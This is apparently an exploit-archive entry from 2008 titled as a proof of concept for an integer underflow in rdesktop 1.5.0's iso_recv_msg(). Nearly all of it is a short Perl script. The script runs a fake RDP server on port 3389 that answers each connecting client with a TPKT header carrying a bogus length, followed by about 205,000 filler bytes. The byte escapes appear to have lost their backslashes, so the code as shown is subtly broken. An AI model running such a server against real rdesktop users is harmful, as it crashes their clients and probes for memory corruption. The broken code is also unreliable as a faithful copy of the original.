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# Title : rdesktop 1.5.0 iso_recv_msg() Integer Underflow Vulnerability PoC
# Published : 2008-05-08
# Author : Guido Landi
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#!/usr/bin/perl
#
# http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=696

use warnings;
use strict;
use IO::Socket;

my $sock = IO::Socket::INET->new(LocalAddr => '0.0.0.0', LocalPort => '3389', Listen => 1, Reuse => 1) || die($!);

while(my $c = $sock->accept())
{
        print $c        "x03"                          .# TPKT version
                        "x00"                          .# reserved
                        "x00x01"                      .# evil length here 
                        "x06xd0x00x00x12x34x00"  .
                        "x41" x 204942;

        sleep 1;
        close $sock;
}

# www.Syue.com [2008-05-08]